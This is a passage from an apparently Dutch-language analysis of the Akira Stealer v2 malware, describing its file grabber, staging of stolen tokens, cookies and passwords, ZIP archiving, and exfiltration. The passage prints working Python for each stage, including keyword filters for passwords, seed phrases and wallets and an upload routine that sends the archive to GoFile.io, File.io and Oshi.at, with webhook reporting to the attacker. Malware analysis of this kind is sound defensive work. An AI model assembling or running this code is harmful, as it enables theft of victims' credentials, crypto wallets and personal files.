exfiltratiebundel. Wat deze module zo gevaarlijk maakt is haar eenvoud en focus: ze probeert niet het volledige bestandssysteem te doorlopen, maar richt zich op specifieke locaties waar gevoelige bestanden doorgaans liggen. Dat zijn de mappen Desktop, Documents, Downloads en OneDrive, elk relatief ten opzichte van het home-pad van de gebruiker. Die gerichte aanpak verhoogt zowel de snelheid als de heimelijkheid en verkleint de kans dat de scan wordt opgemerkt. Ze valt de gebruiker ook niet op, omdat systeemmappen en beschermde mappen onaangeroerd blijven. Zodra interessante bestanden zijn gevonden, worden ze naar een tijdelijke map gekopieerd, eventueel hernoemd of gegroepeerd, en later gecomprimeerd in het uiteindelijke ZIP-archief dat in de exfiltratiefase wordt geüpload.",[862,9448,9450],{"id":9449},"_7111-enumeratie-van-de-doelmappen","7.11.1 Enumeratie van de doelmappen",[533,9452,868],{},[533,9454,9455],{},"De stealer richt zich op vier mappen met een hoge opbrengst:",[588,9457,9459],{"className":4495,"code":9458,"language":4497,"meta":594,"style":594},"searchFolders = [\n    \"Desktop\",\n    \"Documents\",\n    \"Downloads\",\n    \"OneDrive\"\n]\n",[551,9460,9461,9466,9471,9476,9481,9486],{"__ignoreMap":594},[1681,9462,9463],{"class":1683,"line":1684},[1681,9464,9465],{},"searchFolders = [\n",[1681,9467,9468],{"class":1683,"line":2061},[1681,9469,9470],{},"    \"Desktop\",\n",[1681,9472,9473],{"class":1683,"line":2067},[1681,9474,9475],{},"    \"Documents\",\n",[1681,9477,9478],{"class":1683,"line":2073},[1681,9479,9480],{},"    \"Downloads\",\n",[1681,9482,9483],{"class":1683,"line":2394},[1681,9484,9485],{},"    \"OneDrive\"\n",[1681,9487,9488],{"class":1683,"line":2400},[1681,9489,7926],{},[533,9491,9492],{},"Elke map wordt geïnterpreteerd relatief ten opzichte van de home directory van het slachtoffer:",[588,9494,9496],{"className":4495,"code":9495,"language":4497,"meta":594,"style":594},"for folder in searchFolders:\n    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n    if os.path.exists(current_path):\n        # proceed to scan\n",[551,9497,9498,9503,9508,9513],{"__ignoreMap":594},[1681,9499,9500],{"class":1683,"line":1684},[1681,9501,9502],{},"for folder in searchFolders:\n",[1681,9504,9505],{"class":1683,"line":2061},[1681,9506,9507],{},"    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1681,9509,9510],{"class":1683,"line":2067},[1681,9511,9512],{},"    if os.path.exists(current_path):\n",[1681,9514,9515],{"class":1683,"line":2073},[1681,9516,9517],{},"        # proceed to scan\n",[862,9519,9521],{"id":9520},"_7112-filteren-op-keywords-en-extensies","7.11.2 Filteren op keywords en extensies",[533,9523,868],{},[533,9525,9526],{},[540,9527,9528],{},"Keyword-lijst",[533,9530,9531],{},"Een vooraf gedefinieerde set substrings bepaalt de bestandsselectie. Alleen bestandsnamen met minstens één keyword komen in aanmerking:",[588,9533,9535],{"className":4495,"code":9534,"language":4497,"meta":594,"style":594},"keywordsFiles = [\n    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n]\n",[551,9536,9537,9542,9547,9552],{"__ignoreMap":594},[1681,9538,9539],{"class":1683,"line":1684},[1681,9540,9541],{},"keywordsFiles = [\n",[1681,9543,9544],{"class":1683,"line":2061},[1681,9545,9546],{},"    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n",[1681,9548,9549],{"class":1683,"line":2067},[1681,9550,9551],{},"    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n",[1681,9553,9554],{"class":1683,"line":2073},[1681,9555,7926],{},[604,9557,9558,9574],{},[607,9559,9560,9563,9564,9567,9568,558,9571,697],{},[540,9561,9562],{},"Gedeeltelijke matches",": keywords als ",[551,9565,9566],{},"passw"," vangen zowel ",[551,9569,9570],{},"passwords.txt",[551,9572,9573],{},"passw_backup.docx",[607,9575,9576,9579],{},[540,9577,9578],{},"Brede dekking",": dekt termen rond authenticatie, wallets, crypto en tokens.",[862,9581,9583],{"id":9582},"_7113-toegestane-bestandstypen","7.11.3 Toegestane bestandstypen",[533,9585,868],{},[533,9587,9588],{},"Om ruis te beperken geldt een whitelist van extensies:",[588,9590,9592],{"className":4495,"code":9591,"language":4497,"meta":594,"style":594},"allowed_extensions = [\n    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n    \".jpg\", \".png\"\n]\n",[551,9593,9594,9599,9604,9609],{"__ignoreMap":594},[1681,9595,9596],{"class":1683,"line":1684},[1681,9597,9598],{},"allowed_extensions = [\n",[1681,9600,9601],{"class":1683,"line":2061},[1681,9602,9603],{},"    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n",[1681,9605,9606],{"class":1683,"line":2067},[1681,9607,9608],{},"    \".jpg\", \".png\"\n",[1681,9610,9611],{"class":1683,"line":2073},[1681,9612,7926],{},[862,9614,9616],{"id":9615},"_7113-groottebeperking","7.11.3 Groottebeperking",[533,9618,868],{},[533,9620,9621],{},"Bestanden groter dan 2 megabyte worden overgeslagen om de exfiltratie te versnellen en grote overdrachten te vermijden:",[588,9623,9625],{"className":4495,"code":9624,"language":4497,"meta":594,"style":594},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\nif file_size_mb \u003C= 2:\n    # eligible for copy\n",[551,9626,9627,9632,9637],{"__ignoreMap":594},[1681,9628,9629],{"class":1683,"line":1684},[1681,9630,9631],{},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\n",[1681,9633,9634],{"class":1683,"line":2061},[1681,9635,9636],{},"if file_size_mb \u003C= 2:\n",[1681,9638,9639],{"class":1683,"line":2067},[1681,9640,9641],{},"    # eligible for copy\n",[862,9643,9645],{"id":9644},"_7114-recursief-scannen-en-kopieerlogica","7.11.4 Recursief scannen en kopieerlogica",[533,9647,868],{},[533,9649,9650],{},"Zodra de waardevolle mappen zijn vastgesteld, start Akira een recursieve scanroutine die submappen doorloopt en bestanden zoekt die overeenkomen met bepaalde keywords en extensies. Deze fase is gebouwd op precisie en heimelijkheid: alleen bestanden die aan de vooraf vastgelegde criteria voldoen, dus bestandsnamen met gevoelige keywords en een toegestaan bestandstype, komen in aanmerking. De logica zorgt ervoor dat uitsluitend relevante, door de gebruiker gemaakte content wordt geëxfiltreerd. Systeembestanden, caches en binaries worden genegeerd en per bestand geldt een limiet van 2 MB, wat de uploadgrootte en het detectierisico beperkt. Deze scanmethode is stil, efficiënt en geoptimaliseerd voor onopvallende datadiefstal in echte omgevingen. Door overeenkomende bestanden naar een stagingmap te kopiëren en bij te houden wat er is meegenomen, maakt Akira de inhoud klaar om te bundelen en te exfiltreren, met zo weinig mogelijk duplicaten en operationele ruis.",[533,9652,9653,9654,9657],{},"De kernroutine ",[551,9655,9656],{},"steal_files()"," werkt als volgt:",[588,9659,9661],{"className":4495,"code":9660,"language":4497,"meta":594,"style":594},"@staticmethod\ndef steal_files():\n    stolen_files = set()\n    temp_folder = Utils.get_temp_folder()\n\n    for folder in searchFolders:\n        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n        if os.path.exists(current_path):\n            for root, _, files in os.walk(current_path):\n                for file in files:\n                    lower = file.lower()\n                    # Keyword check\n                    if any(keyword in lower for keyword in keywordsFiles):\n                        ext = os.path.splitext(lower)[1]\n                        # Extension and size check\n                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n                            # Prepare destination\n                            files_dir = os.path.join(temp_folder, \"Files\")\n                            os.makedirs(files_dir, exist_ok=True)\n                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n                            stolen_files.add(file)\n    data.stolen_files.extend(stolen_files)\n",[551,9662,9663,9667,9672,9677,9682,9686,9691,9696,9701,9706,9711,9716,9721,9726,9731,9736,9741,9746,9751,9756,9761,9766],{"__ignoreMap":594},[1681,9664,9665],{"class":1683,"line":1684},[1681,9666,4985],{},[1681,9668,9669],{"class":1683,"line":2061},[1681,9670,9671],{},"def steal_files():\n",[1681,9673,9674],{"class":1683,"line":2067},[1681,9675,9676],{},"    stolen_files = set()\n",[1681,9678,9679],{"class":1683,"line":2073},[1681,9680,9681],{},"    temp_folder = Utils.get_temp_folder()\n",[1681,9683,9684],{"class":1683,"line":2394},[1681,9685,3853],{"emptyLinePlaceholder":325},[1681,9687,9688],{"class":1683,"line":2400},[1681,9689,9690],{},"    for folder in searchFolders:\n",[1681,9692,9693],{"class":1683,"line":3059},[1681,9694,9695],{},"        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1681,9697,9698],{"class":1683,"line":3856},[1681,9699,9700],{},"        if os.path.exists(current_path):\n",[1681,9702,9703],{"class":1683,"line":3862},[1681,9704,9705],{},"            for root, _, files in os.walk(current_path):\n",[1681,9707,9708],{"class":1683,"line":4109},[1681,9709,9710],{},"                for file in files:\n",[1681,9712,9713],{"class":1683,"line":5033},[1681,9714,9715],{},"                    lower = file.lower()\n",[1681,9717,9718],{"class":1683,"line":5039},[1681,9719,9720],{},"                    # Keyword check\n",[1681,9722,9723],{"class":1683,"line":5045},[1681,9724,9725],{},"                    if any(keyword in lower for keyword in keywordsFiles):\n",[1681,9727,9728],{"class":1683,"line":5051},[1681,9729,9730],{},"                        ext = os.path.splitext(lower)[1]\n",[1681,9732,9733],{"class":1683,"line":5057},[1681,9734,9735],{},"                        # Extension and size check\n",[1681,9737,9738],{"class":1683,"line":5063},[1681,9739,9740],{},"                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n",[1681,9742,9743],{"class":1683,"line":5069},[1681,9744,9745],{},"                            # Prepare destination\n",[1681,9747,9748],{"class":1683,"line":5075},[1681,9749,9750],{},"                            files_dir = os.path.join(temp_folder, \"Files\")\n",[1681,9752,9753],{"class":1683,"line":5081},[1681,9754,9755],{},"                            os.makedirs(files_dir, exist_ok=True)\n",[1681,9757,9758],{"class":1683,"line":5087},[1681,9759,9760],{},"                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n",[1681,9762,9763],{"class":1683,"line":5093},[1681,9764,9765],{},"                            stolen_files.add(file)\n",[1681,9767,9768],{"class":1683,"line":5099},[1681,9769,9770],{},"    data.stolen_files.extend(stolen_files)\n",[533,9772,9773],{},[540,9774,2601],{},[2081,9776,9777,9785,9794,9803,9809],{},[607,9778,9779,9784],{},[540,9780,9781],{},[551,9782,9783],{},"os.walk",": daalt recursief af in submappen.",[607,9786,9787,9790,9791,697],{},[540,9788,9789],{},"Matching zonder hoofdlettergevoeligheid",": bestandsnamen worden genormaliseerd via ",[551,9792,9793],{},"lower()",[607,9795,9796,9799,9800,9802],{},[540,9797,9798],{},"Atomaire kopie",": gebruikt ",[551,9801,7792],{}," om de bestandsinhoud intact te houden.",[607,9804,9805,9808],{},[540,9806,9807],{},"Set met gestolen bestandsnamen",": voorkomt dubbele kopieën als hetzelfde bestand twee keer opduikt.",[607,9810,9811,973,9816,9819],{},[540,9812,9813,9814],{},"Koppeling met ",[551,9815,9072],{},[551,9817,9818],{},"data.stolen_files"," verzamelt de lijst met gestolen bestanden voor de latere rapportage.",[862,9821,9823],{"id":9822},"_7115-archiveren-en-exfiltratie","7.11.5 Archiveren en exfiltratie",[533,9825,868],{},[533,9827,9828,9829,9832],{},"Na het verzamelen wordt de map ",[551,9830,9831],{},"Files"," gezipt en verstuurd:",[588,9834,9836],{"className":4495,"code":9835,"language":4497,"meta":594,"style":594},"# Archive\nUtils.zip_client_file()  # creates CLIENT.zip from temp_folder\n\n# Upload & Notify\nakira.sendFilesTG(Utils.get_temp_folder(), startup)\nhook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[551,9837,9838,9843,9848,9852,9857,9862],{"__ignoreMap":594},[1681,9839,9840],{"class":1683,"line":1684},[1681,9841,9842],{},"# Archive\n",[1681,9844,9845],{"class":1683,"line":2061},[1681,9846,9847],{},"Utils.zip_client_file()  # creates CLIENT.zip from temp_folder\n",[1681,9849,9850],{"class":1683,"line":2067},[1681,9851,3853],{"emptyLinePlaceholder":325},[1681,9853,9854],{"class":1683,"line":2073},[1681,9855,9856],{},"# Upload & Notify\n",[1681,9858,9859],{"class":1683,"line":2394},[1681,9860,9861],{},"akira.sendFilesTG(Utils.get_temp_folder(), startup)\n",[1681,9863,9864],{"class":1683,"line":2400},[1681,9865,9866],{},"hook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[604,9868,9869,9885],{},[607,9870,9871,9876,9877,620,9879,620,9881,9884],{},[540,9872,9873],{},[551,9874,9875],{},"zip_client_file()",": comprimeert de volledige tijdelijke map, inclusief ",[551,9878,9831],{},[551,9880,6329],{},[551,9882,9883],{},"Passwords"," en de rest.",[607,9886,9887,9891,9892],{},[540,9888,9889],{},[551,9890,9054],{},": plaatst de downloadlink via een Telegram- of Discord-webhook en somt elke gestolen bestandsnaam op:",[588,9893,9895],{"className":4495,"code":9894,"language":4497,"meta":594,"style":594},"fields.append({\n\"name\": \"📂 Files\",\n\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n\"inline\": False\n})\n",[551,9896,9897,9902,9907,9912,9917],{"__ignoreMap":594},[1681,9898,9899],{"class":1683,"line":1684},[1681,9900,9901],{},"fields.append({\n",[1681,9903,9904],{"class":1683,"line":2061},[1681,9905,9906],{},"\"name\": \"📂 Files\",\n",[1681,9908,9909],{"class":1683,"line":2067},[1681,9910,9911],{},"\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n",[1681,9913,9914],{"class":1683,"line":2073},[1681,9915,9916],{},"\"inline\": False\n",[1681,9918,9919],{"class":1683,"line":2394},[1681,9920,9921],{},"})\n",[533,9923,9924],{},[540,9925,9926],{},"Conclusie:",[533,9928,9929],{},"De File Grabber in Akira Stealer v2 jaagt systematisch op gevoelige documenten met filters op keywords en extensies, houdt zich aan een grens van 2 MB per bestand en bundelt de buit in een archief. Het ontwerp levert zowel breedte, door meerdere mappen te doorzoeken, als precisie, door gerichte filters, waardoor dit een van de meest ingrijpende fasen in de levenscyclus van de malware is.",[715,9931,9933],{"id":9932},"_712-exfiltratiestrategie","7.12 Exfiltratiestrategie",[533,9935,721],{},[533,9937,9938],{},"De exfiltratiemodule verwerkt de buitgemaakte tokens en de overige artefacten (cookies, autofill-gegevens, logs) door ze in een gestructureerde map te plaatsen, ze in een archief te comprimeren, dat naar meerdere online filehosts te uploaden en uitgebreide webhook-notificaties te versturen. Deze paragraaf ontleedt elke stap met bestandspaden, domeinendpoints en codeverwijzingen, zodat alles traceerbaar blijft.",[862,9940,9942],{"id":9941},"_7121-mapstructuur-en-bestandsnamen","7.12.1 Mapstructuur en bestandsnamen",[533,9944,868],{},[533,9946,9947],{},"Akira ordent alle verzamelde artefacten in een overzichtelijke, hiërarchische tijdelijke mapstructuur. Dat maakt efficiënt inpakken mogelijk en laat de aanvaller na de exfiltratie snel nakijken wat er is buitgemaakt. Elke datacategorie, zoals Tokens, Cookies, Passwords of Screenshots, krijgt een eigen submap onder een rootpad dat is vernoemd naar de computer van het slachtoffer (bijvoorbeeld DESKTOP1234). Deze structuur houdt de zaak helder, beperkt duplicaten en vereenvoudigt het archiveren en uploaden. Ook geautomatiseerd parsen of handmatig inspecteren wordt er aan de kant van de aanvaller veel eenvoudiger door.",[588,9949,9952],{"className":9950,"code":9951,"language":593},[591],"C:\\Users\\User\\AppData\\Local\\Temp\\DESKTOP1234\\\n├─ Tokens\\\n│   ├ token_ab12cd34.txt\n│   └ token_ef56gh78.txt\n├─ Cookies\\\n│   ├ Chrome_Cookies.txt\n│   └ Discord_Cookies.txt\n├─ Autofill\\\n├─ Passwords\\\n├─ Logs\\\n└─ Screenshots\\\n",[551,9953,9951],{"__ignoreMap":594},[862,9955,9957],{"id":9956},"_7122-staging-van-tokens-en-artefacten","7.12.2 Staging van tokens en artefacten",[533,9959,868],{},[533,9961,9962],{},"Voor de exfiltratie plaatst Akira alle relevante artefacten in de bijbehorende submappen. Tokenwaarden worden bijvoorbeeld naar afzonderlijke .txt-bestanden geschreven, wat snel doorzoeken en valideren vergemakkelijkt. Cookies, autofill-gegevens en wachtwoorden gaan op vergelijkbare wijze naar gestructureerde tekstbestanden die per browser zijn benoemd. Deze stap standaardiseert de indeling van de data, waardoor geautomatiseerde tooling kan bijhouden wat er is binnengehaald. Ook zorgt ze ervoor dat het latere ZIP-archief een voorspelbaar en voor de aanvaller handig formaat heeft, ongeacht welke modules zijn afgevuurd.",[588,9964,9966],{"className":4495,"code":9965,"language":4497,"meta":594,"style":594},"import os, shutil\n# Constants\nTMP = os.getenv('TEMP')\nROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n# Prepare structure\nfor sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n# Save token\nwith open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n    f.write(token)\n",[551,9967,9968,9973,9978,9983,9988,9993,9998,10003,10008,10013],{"__ignoreMap":594},[1681,9969,9970],{"class":1683,"line":1684},[1681,9971,9972],{},"import os, shutil\n",[1681,9974,9975],{"class":1683,"line":2061},[1681,9976,9977],{},"# Constants\n",[1681,9979,9980],{"class":1683,"line":2067},[1681,9981,9982],{},"TMP = os.getenv('TEMP')\n",[1681,9984,9985],{"class":1683,"line":2073},[1681,9986,9987],{},"ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n",[1681,9989,9990],{"class":1683,"line":2394},[1681,9991,9992],{},"# Prepare structure\n",[1681,9994,9995],{"class":1683,"line":2400},[1681,9996,9997],{},"for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n",[1681,9999,10000],{"class":1683,"line":3059},[1681,10001,10002],{},"    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n",[1681,10004,10005],{"class":1683,"line":3856},[1681,10006,10007],{},"# Save token\n",[1681,10009,10010],{"class":1683,"line":3862},[1681,10011,10012],{},"with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n",[1681,10014,10015],{"class":1683,"line":4109},[1681,10016,10017],{},"    f.write(token)\n",[604,10019,10020,10023],{},[607,10021,10022],{},"Tokens komen in afzonderlijke kleine tekstbestanden te staan, zodat ze snel te bekijken zijn.",[607,10024,10025,10026,10029,10030,697],{},"Cookie-dumps uit ",[551,10027,10028],{},"Chromium.GetCookies()"," worden weggeschreven naar ",[551,10031,10032],{},"{Browser}_Cookies.txt",[862,10034,10036],{"id":10035},"_7133-aanmaken-van-het-zip-archief","7.13.3 Aanmaken van het ZIP-archief",[533,10038,868],{},[533,10040,10041,10042],{},"Zodra de staging klaar is, comprimeert Akira de volledige map in één ZIP-archief. De bestandsnaam volgt een vaste conventie: ",[10043,10044,10045,10046],"computer-name",{},"_",[10047,10048,10049],"timestamp",{},".zip, met de machinenaam van de host en een UTC-timestamp in ISO 8601-formaat. Dat garandeert zowel uniciteit als chronologische traceerbaarheid. Doordat de volledige stagingmap recursief wordt doorlopen, blijft elk bestand met zijn relatieve pad in het ZIP-bestand bewaard. Dat formaat maakt het voor aanvallers eenvoudig om grote hoeveelheden buit op te halen en te bekijken, vooral wanneer honderden slachtoffers gelijktijdig zijn gecompromitteerd.",[588,10051,10053],{"className":4495,"code":10052,"language":4497,"meta":594,"style":594},"import zipfile, datetime\n\ndef create_archive(root_dir: str) -> str:\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n        for dirpath, _, files in os.walk(root_dir):\n            for fname in files:\n                full = os.path.join(dirpath, fname)\n                rel = os.path.relpath(full, root_dir)\n                zf.write(full, rel)\n    return zip_path\n",[551,10054,10055,10060,10064,10069,10074,10079,10084,10089,10094,10099,10104,10109,10114],{"__ignoreMap":594},[1681,10056,10057],{"class":1683,"line":1684},[1681,10058,10059],{},"import zipfile, datetime\n",[1681,10061,10062],{"class":1683,"line":2061},[1681,10063,3853],{"emptyLinePlaceholder":325},[1681,10065,10066],{"class":1683,"line":2067},[1681,10067,10068],{},"def create_archive(root_dir: str) -> str:\n",[1681,10070,10071],{"class":1683,"line":2073},[1681,10072,10073],{},"    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n",[1681,10075,10076],{"class":1683,"line":2394},[1681,10077,10078],{},"    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n",[1681,10080,10081],{"class":1683,"line":2400},[1681,10082,10083],{},"    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n",[1681,10085,10086],{"class":1683,"line":3059},[1681,10087,10088],{},"    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n",[1681,10090,10091],{"class":1683,"line":3856},[1681,10092,10093],{},"        for dirpath, _, files in os.walk(root_dir):\n",[1681,10095,10096],{"class":1683,"line":3862},[1681,10097,10098],{},"            for fname in files:\n",[1681,10100,10101],{"class":1683,"line":4109},[1681,10102,10103],{},"                full = os.path.join(dirpath, fname)\n",[1681,10105,10106],{"class":1683,"line":5033},[1681,10107,10108],{},"                rel = os.path.relpath(full, root_dir)\n",[1681,10110,10111],{"class":1683,"line":5039},[1681,10112,10113],{},"                zf.write(full, rel)\n",[1681,10115,10116],{"class":1683,"line":5045},[1681,10117,10118],{},"    return zip_path\n",[604,10120,10121],{},[607,10122,10123,10124,10127],{},"Het archief heet ",[551,10125,10126],{},"DESKTOP1234_20250505T123456Z.zip",", zodat het aan de host gekoppeld blijft.",[533,10129,10130],{},[540,10131,10132],{},"Naamgevingsconventie van het ZIP-bestand",[533,10134,10135],{},"Het archief krijgt de computernaam van de gecompromitteerde host, gevolgd door een UTC-timestamp in ISO-formaat, wat uniciteit en een chronologische ordening oplevert.",[588,10137,10139],{"className":4495,"code":10138,"language":4497,"meta":594,"style":594},"import datetime, os\n\ndef create_archive(root_dir: str) -> str:\n    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    return zip_path\n",[551,10140,10141,10146,10150,10154,10159,10163,10168,10172,10176],{"__ignoreMap":594},[1681,10142,10143],{"class":1683,"line":1684},[1681,10144,10145],{},"import datetime, os\n",[1681,10147,10148],{"class":1683,"line":2061},[1681,10149,3853],{"emptyLinePlaceholder":325},[1681,10151,10152],{"class":1683,"line":2067},[1681,10153,10068],{},[1681,10155,10156],{"class":1683,"line":2073},[1681,10157,10158],{},"    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n",[1681,10160,10161],{"class":1683,"line":2394},[1681,10162,10073],{},[1681,10164,10165],{"class":1683,"line":2400},[1681,10166,10167],{},"    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n",[1681,10169,10170],{"class":1683,"line":3059},[1681,10171,10078],{},[1681,10173,10174],{"class":1683,"line":3856},[1681,10175,10083],{},[1681,10177,10178],{"class":1683,"line":3862},[1681,10179,10118],{},[533,10181,10135],{},[862,10183,10185],{"id":10184},"_7144-upload-workflow","7.14.4 Upload-workflow",[533,10187,868],{},[533,10189,10190],{},"Akira gebruikt een uploadstrategie met drie niveaus om de kans op geslaagde exfiltratie te maximaliseren. Eerst probeert het archief via de publieke API naar GoFile.io te uploaden, wat een downloadlink teruggeeft. Is GoFile niet beschikbaar of geblokkeerd, dan valt de malware terug op File.io en daarna op Oshi.at, zodat de data altijd wordt overgedragen. Deze diensten bieden anonieme hosting met een korte levensduur, wat takedowns en traceerbaarheid bemoeilijkt. Het script legt de uiteindelijke download-URL vast en zet die klaar voor verzending via de webhook.",[2081,10192,10193,10225,10251],{},[607,10194,10195,10198],{},[540,10196,10197],{},"Primair: GoFile.io",[604,10199,10200,10208,10216],{},[607,10201,10202,973,10205],{},[540,10203,10204],{},"API om servers op te halen",[551,10206,10207],{},"GET https://api.gofile.io/servers",[607,10209,10210,973,10213],{},[540,10211,10212],{},"Upload-endpoint",[551,10214,10215],{},"POST https://\u003Cserver>.gofile.io/contents/uploadfile",[607,10217,10218,973,10221,10224],{},[540,10219,10220],{},"Responseveld",[551,10222,10223],{},"data.downloadPage"," bevat de uiteindelijke URL.",[607,10226,10227,10230],{},[540,10228,10229],{},"Fallback #1: File.io",[604,10231,10232,10242],{},[607,10233,10234,973,10236,1257,10239],{},[540,10235,10212],{},[551,10237,10238],{},"POST https://file.io/",[551,10240,10241],{},"files={'file': open(...)}",[607,10243,10244,10247,10248,697],{},[540,10245,10246],{},"Response",": het JSON-veld ",[551,10249,10250],{},"link",[607,10252,10253,10256],{},[540,10254,10255],{},"Fallback #2: Oshi.at",[604,10257,10258,10272],{},[607,10259,10260,973,10262,1257,10265,10268,10269,697],{},[540,10261,10212],{},[551,10263,10264],{},"POST http://oshi.at/",[551,10266,10267],{},"files[]"," en de parameters ",[551,10270,10271],{},"expire=43200, autodestroy=0",[607,10273,10274,10276,10277,697],{},[540,10275,10246],{},": platte tekst met ",[551,10278,10279],{},"DL: \u003Curl>",[533,10281,10282],{},[540,10283,10284],{},"Implementatiefragment:",[588,10286,10288],{"className":4495,"code":10287,"language":4497,"meta":594,"style":594},"import requests\n\ndef upload_with_fallback(zip_path):\n    # GoFile\n    try:\n        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n        for srv in servers:\n            try:\n                r = requests.post(\n                    f'https://{srv}.gofile.io/contents/uploadfile',\n                    files={'file': open(zip_path,'rb')}, timeout=20)\n                url = r.json()['data']['downloadPage']\n                if url: return url\n            except: continue\n    except: pass\n    # File.io\n    try:\n        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n        return r.json().get('link','')\n    except: pass\n    # Oshi.at\n    try:\n        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n        return text.split('DL: ')[1].strip()\n    except: pass\n    return ''\n",[551,10289,10290,10295,10299,10304,10309,10313,10318,10323,10328,10333,10338,10343,10348,10353,10358,10363,10368,10372,10377,10382,10386,10391,10395,10400,10405,10409],{"__ignoreMap":594},[1681,10291,10292],{"class":1683,"line":1684},[1681,10293,10294],{},"import requests\n",[1681,10296,10297],{"class":1683,"line":2061},[1681,10298,3853],{"emptyLinePlaceholder":325},[1681,10300,10301],{"class":1683,"line":2067},[1681,10302,10303],{},"def upload_with_fallback(zip_path):\n",[1681,10305,10306],{"class":1683,"line":2073},[1681,10307,10308],{},"    # GoFile\n",[1681,10310,10311],{"class":1683,"line":2394},[1681,10312,5148],{},[1681,10314,10315],{"class":1683,"line":2400},[1681,10316,10317],{},"        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n",[1681,10319,10320],{"class":1683,"line":3059},[1681,10321,10322],{},"        for srv in servers:\n",[1681,10324,10325],{"class":1683,"line":3856},[1681,10326,10327],{},"            try:\n",[1681,10329,10330],{"class":1683,"line":3862},[1681,10331,10332],{},"                r = requests.post(\n",[1681,10334,10335],{"class":1683,"line":4109},[1681,10336,10337],{},"                    f'https://{srv}.gofile.io/contents/uploadfile',\n",[1681,10339,10340],{"class":1683,"line":5033},[1681,10341,10342],{},"                    files={'file': open(zip_path,'rb')}, timeout=20)\n",[1681,10344,10345],{"class":1683,"line":5039},[1681,10346,10347],{},"                url = r.json()['data']['downloadPage']\n",[1681,10349,10350],{"class":1683,"line":5045},[1681,10351,10352],{},"                if url: return url\n",[1681,10354,10355],{"class":1683,"line":5051},[1681,10356,10357],{},"            except: continue\n",[1681,10359,10360],{"class":1683,"line":5057},[1681,10361,10362],{},"    except: pass\n",[1681,10364,10365],{"class":1683,"line":5063},[1681,10366,10367],{},"    # File.io\n",[1681,10369,10370],{"class":1683,"line":5069},[1681,10371,5148],{},[1681,10373,10374],{"class":1683,"line":5075},[1681,10375,10376],{},"        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n",[1681,10378,10379],{"class":1683,"line":5081},[1681,10380,10381],{},"        return r.json().get('link','')\n",[1681,10383,10384],{"class":1683,"line":5087},[1681,10385,10362],{},[1681,10387,10388],{"class":1683,"line":5093},[1681,10389,10390],{},"    # Oshi.at\n",[1681,10392,10393],{"class":1683,"line":5099},[1681,10394,5148],{},[1681,10396,10397],{"class":1683,"line":5105},[1681,10398,10399],{},"        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n",[1681,10401,10402],{"class":1683,"line":5111},[1681,10403,10404],{},"        return text.split('DL: ')[1].strip()\n",[1681,10406,10407],{"class":1683,"line":5117},[1681,10408,10362],{},[1681,10410,10411],{"class":1683,"line":5784},[1681,10412,10413],{},"    return ''\n",[862,10415,10417],{"id":10416},"_7155-webhook-alerts-ophalen-door-de-aanvaller-en-de-grenzen-van-wat-een-analist-ziet","7.15.5 Webhook-alerts, ophalen door de aanvaller en de grenzen van wat een analist ziet",[533,10419,868],{},[533,10421,10422],{},"Na het uploaden van het ZIP-archief stuurt Akira een webhook-notificatie, meestal naar Discord of Telegram, met een gestructureerde embed vol details: het aantal gestolen tokens, het aantal cookies, de bestandsgrootte en een klikbare downloadlink. Daarmee heeft de aanvaller direct terugkoppeling en toegang tot de buit. Voor de zekerheid gaat er ook een bericht in platte tekst mee met alleen de 